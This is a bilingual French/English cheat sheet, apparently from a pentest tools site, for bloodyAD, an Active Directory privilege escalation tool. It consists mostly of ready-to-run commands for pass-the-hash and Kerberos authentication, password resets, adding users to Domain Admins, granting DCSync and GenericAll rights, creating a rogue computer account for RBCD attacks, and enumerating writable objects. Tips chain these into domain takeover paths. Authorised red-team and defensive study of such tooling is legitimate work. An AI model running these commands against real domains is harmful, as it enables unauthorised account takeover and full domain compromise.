← retour aux outils back to tools

# bloodyAD

Couteau suisse de l'élévation de privilèges Active Directory. Réalise des opérations AD ciblées via LDAP/RPC : ajouter des utilisateurs à des groupes, réinitialiser des mots de passe, accorder des droits DCSync, et abuser de mauvaises configurations de DACL. Active Directory privilege escalation Swiss-army knife. Performs targeted AD operations via LDAP/RPC: add users to groups, reset passwords, grant DCSync rights, and abuse DACL misconfigurations.

↗ https://github.com/CravateRouge/bloodyAD

## Overview

bloodyAD automates common Active Directory privilege escalation operations via LDAP. It targets specific AD object permissions (DACLs) to perform actions like adding users to groups, resetting passwords, granting rights, and abusing misconfigurations — all without running code on domain-joined machines.

## Authentication

Username + password

    bloodyAD -d domain.local -u user -p 'password' --host dc01.domain.local [command]

Pass-the-hash (NTLM)

    bloodyAD -d domain.local -u user -p :NTLMhash --host 10.10.10.1 [command]

    # Kerberos (with ccache)
    export KRB5CCNAME=/tmp/user.ccache
    bloodyAD -d domain.local -k --host dc01.domain.local [command]

Certificate-based auth

    bloodyAD -d domain.local -c /path/to/cert.pfx --host dc01.domain.local [command]

## User Operations

Change/reset a user’s password

    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      set password jdoe 'NewPassword123!'

Add a user to a group

    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add groupMember "Domain Admins" jdoe

Remove user from group

    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      remove groupMember "Domain Admins" jdoe

Create a new user

    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add user hacker 'Hacker123!'

## DACL Abuse

Grant DCSync rights to a user (Replicating Directory Changes All)

    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add dcsync jdoe

Grant GenericAll on an object

    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add genericAll cn=target,dc=domain,dc=local jdoe

Grant WriteOwner

    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      set owner "Domain Admins" jdoe

## Computer Account Operations

Add a computer account (useful for RBCD attacks)

    bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
      add computer EVILPC 'EvilPass123!'

Set msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)

    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add rbcd TARGET_COMPUTER ATTACKER_COMPUTER$

## Enumeration

Get object attributes

    bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
      get object "cn=jdoe,cn=users,dc=domain,dc=local"

Get writable objects (where we have write permissions)

    bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
      get writable --otype user

Get domain info

    bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
      get domain

## Tips

- bloodyAD requires only LDAP access — useful when SMB (445) is filtered
- `add dcsync` is a quick path from GenericAll/WriteDACL → DCSync
- Pair with BloodHound: identify the DACL path, then execute with bloodyAD
- `get writable` is excellent for discovering your current privilege level

Command reference

    bloodyAD [auth options] --host DC [command]

    get:
      object DN           Get LDAP object attributes
      writable            List objects we can write to
      domain              Domain information

    add:
      user NAME PASS      Create user
      computer NAME PASS  Create computer account
      groupMember GRP USR Add user to group
      dcsync USER         Grant DCSync rights
      genericAll OBJ USR  Grant GenericAll
      rbcd TARGET SRC     Set RBCD delegation
      uac USER FLAG       Set UAC flag

    set:
      password USER PASS  Reset user password
      object DN ATTR VAL  Set LDAP attribute
      owner OBJ NEW_OWNER Change object owner

    remove:
      groupMember GRP USR Remove from group
      dcsync USER         Remove DCSync rights
      computer NAME       Delete computer account

## Vue d’ensemble

bloodyAD automatise les opérations courantes d’élévation de privilèges Active Directory via LDAP. Il cible des permissions spécifiques sur les objets AD (les DACL) pour effectuer des actions comme ajouter des utilisateurs à des groupes, réinitialiser des mots de passe, accorder des droits et abuser de mauvaises configurations, le tout sans exécuter de code sur les machines jointes au domaine.

## Authentification

    # Nom d'utilisateur + mot de passe
    bloodyAD -d domain.local -u user -p 'password' --host dc01.domain.local [command]

    # Pass-the-hash (NTLM)
    bloodyAD -d domain.local -u user -p :NTLMhash --host 10.10.10.1 [command]

    # Kerberos (avec ccache)
    export KRB5CCNAME=/tmp/user.ccache
    bloodyAD -d domain.local -k --host dc01.domain.local [command]

    # Auth par certificat
    bloodyAD -d domain.local -c /path/to/cert.pfx --host dc01.domain.local [command]

## Opérations sur les utilisateurs

    # Changer/réinitialiser le mot de passe d'un utilisateur
    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      set password jdoe 'NewPassword123!'

    # Ajouter un utilisateur à un groupe
    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add groupMember "Domain Admins" jdoe

    # Retirer un utilisateur d'un groupe
    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      remove groupMember "Domain Admins" jdoe

    # Créer un nouvel utilisateur
    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add user hacker 'Hacker123!'

## Abus de DACL

    # Accorder des droits DCSync à un utilisateur (Replicating Directory Changes All)
    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add dcsync jdoe

    # Accorder GenericAll sur un objet
    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add genericAll cn=target,dc=domain,dc=local jdoe

    # Accorder WriteOwner
    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      set owner "Domain Admins" jdoe

## Opérations sur les comptes machine

    # Ajouter un compte machine (utile pour les attaques RBCD)
    bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
      add computer EVILPC 'EvilPass123!'

    # Définir msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
    bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
      add rbcd TARGET_COMPUTER ATTACKER_COMPUTER$

## Énumération

    # Récupérer les attributs d'un objet
    bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
      get object "cn=jdoe,cn=users,dc=domain,dc=local"

    # Récupérer les objets modifiables (là où on a les permissions d'écriture)
    bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
      get writable --otype user

    # Récupérer les infos du domaine
    bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
      get domain

## Conseils

- bloodyAD ne nécessite qu’un accès LDAP : utile quand le SMB (445) est filtré
- `add dcsync` est un chemin rapide de GenericAll/WriteDACL vers DCSync
- À combiner avec BloodHound : identifiez le chemin de DACL, puis exécutez-le avec bloodyAD
- `get writable` est excellent pour découvrir votre niveau de privilège actuel

Référence des commandes

    bloodyAD [auth options] --host DC [command]

    get:
      object DN           Get LDAP object attributes
      writable            List objects we can write to
      domain              Domain information

    add:
      user NAME PASS      Create user
      computer NAME PASS  Create computer account
      groupMember GRP USR Add user to group
      dcsync USER         Grant DCSync rights
      genericAll OBJ USR  Grant GenericAll
      rbcd TARGET SRC     Set RBCD delegation
      uac USER FLAG       Set UAC flag

    set:
      password USER PASS  Reset user password
      object DN ATTR VAL  Set LDAP attribute
      owner OBJ NEW_OWNER Change object owner

    remove:
      groupMember GRP USR Remove from group
      dcsync USER         Remove DCSync rights
      computer NAME       Delete computer account